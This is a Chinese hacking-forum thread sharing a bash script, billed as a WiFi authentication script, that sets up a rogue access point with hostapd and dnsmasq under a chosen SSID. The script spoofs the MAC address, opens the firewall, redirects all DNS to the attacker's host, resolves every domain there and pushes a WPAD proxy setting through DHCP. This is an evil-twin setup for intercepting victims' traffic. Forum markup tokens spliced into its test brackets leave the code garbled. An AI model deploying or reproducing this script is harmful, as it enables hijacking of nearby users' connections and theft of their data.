搜索
查看: 3233|回复: 1

kali WiFi认证脚本

  [复制链接]

147

主题

239

帖子

523

积分

高级会员

中国黑客

Rank: 4

积分
523
QQ
发表于 2020-2-21 18:11:46 | 显示全部楼层 |阅读模式
写了一个简单的WiFi认证脚本,送给大家!

 #!/bin/bash
## quick and dirty AP with hostapd and dnsmasq
## exit properly with ctrl-c

echo "退出程序请狂按 Ctrl+C 并清除程序/tmp"

if [zxsq-anti-bbcode- -z $1 ]; then
   echo -n "请输入认证AP(不支持中文): "
   read ssid
else
   ssid=$1
fi

# get wep key
function get_wep_key() {
    echo -n "WEP Key [zxsq-anti-bbcode-must be exactly 5 or 13 ascii characters]: "
    read wep_key
    if [zxsq-anti-bbcode-[  $wep_key =~ ^[a-zA-Z0-9]{5}$ ]] ; then
       echo "Key accepted"
   elif [zxsq-anti-bbcode-[  $wep_key =~ ^[a-zA-Z0-9]{13}$ ]] ; then
        echo "Key accepted"
    else
        echo "WEP key must be exactly 5 or 13 characters"
        get_wep_key
    fi
}

# get mac
function get_mac() {
    echo -n "Enter MAC address in the following format AB:CD:EF:12:34:56: "
    read new_mac
    if [zxsq-anti-bbcode-[  $new_mac =~ ^[a-fA-F0-9]{2}:[zxsq-anti-bbcode-a-fA-F0-9]{2}:[zxsq-anti-bbcode-a-fA-F0-9]{2}:[zxsq-anti-bbcode-a-fA-F0-9]{2}:[zxsq-anti-bbcode-a-fA-F0-9]{2}:[zxsq-anti-bbcode-a-fA-F0-9]{2}$ ]] ; then
        macchanger --mac=$new_mac wlan0
   else
        echo "MAC Address format not correct."
        get_mac
    fi
}

# ask for WEP
echo -n "是否要加密此AP[zxsq-anti-bbcode-y/n]: "
read wep
case $wep in
    y*)
        get_wep_key
    ;;
    *)
    ;;
esac

# ask for MAC change
echo -n "是否要改变 MAC地址 [zxsq-anti-bbcode-y/n]: "
read changemac
case $changemac in
    y*)
        echo -n "Custom MAC? [zxsq-anti-bbcode-y/n]: "
      read random_mac
        case $random_mac in
            y*)
                get_mac
            ;;
            n*)
                macchanger -r wlan0
            ;;
            *)
                echo "Invalid choice, keeping current MAC address."
            ;;
        esac
    ;;
   n*)
    ;;
esac

# 安装必要模块
if [zxsq-anti-bbcode- $(dpkg-query -W -f='${Status}' dnsmasq 2>/dev/null | grep -c "ok installed") -eq 0 ];
then
  apt-get install dnsmasq
fi
if [zxsq-anti-bbcode- $(dpkg-query -W -f='${Status}' hostapd 2>/dev/null | grep -c "ok installed") -eq 0 ];
then
  apt-get install hostapd
fi

# trap control c
trap ctrl_c INT

function ctrl_c() {
   echo "wlan0 managed mode"
   iwconfig wlan0 mode managed
   echo "downing wlan0"
   echo "flushing firewall"
   iptables -F
   iptables -F -t nat
   echo "resetting wlan0 mac"
   macchanger -p wlan0
   kill -9 `cat /tmp/dnsmasq.run`
}


## script begins

# stop and disable services
service hostapd stop
service dnsmasq stop
pkill -9 dnsmasq
pkill -9 hostapd

# bring up wlan0

iwconfig wlan0 mode monitor
ifconfig wlan0 10.0.0.1/24 up

#dhcp
iptables --policy INPUT ACCEPT
iptables --policy FORWARD ACCEPT
iptables --policy OUTPUT ACCEPT
iptables -F
iptables -t nat -F
iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j DNAT --to 10.0.0.1

# dns masq conf
cat > /tmp/dnsmasq.conf <<!
bind-interfaces
interface=wlan0
address=/#/10.0.0.1
dhcp-range=10.0.0.2,10.0.0.254
dhcp-option=6,10.0.0.1 #DNS
dhcp-option=3,10.0.0.1 #Gateway
dhcp-option=252,"http://wpad.example.com/wpad.dat\n" #WPAD
dhcp-authoritative
!

# hostapd conf
cat > /tmp/hostapd.conf<<!
interface=wlan0
driver=nl80211
ssid=${ssid}
hw_mode=g
channel=6
!

# if WEP key, add to hostapd conf
if [zxsq-anti-bbcode-[ -n $wep_key ]]; then echo -e "wep_default_key=0\nwep_key0=\"${wep_key}\"" >> /tmp/hostapd.conf; fi

# run dnsmasq and hostapd
dnsmasq --pid-file=/tmp/dnsmasq.run -C /tmp/dnsmasq.conf
hostapd /tmp/hostapd.conf


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
谁有敬业福啊!
回复

使用道具 举报

296

主题

432

帖子

944

积分

vip用户

Rank: 6Rank: 6

积分
944

注册会员活跃会员热心会员

QQ
发表于 2020-2-21 21:14:13 来自手机 | 显示全部楼层
闲了试一下!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表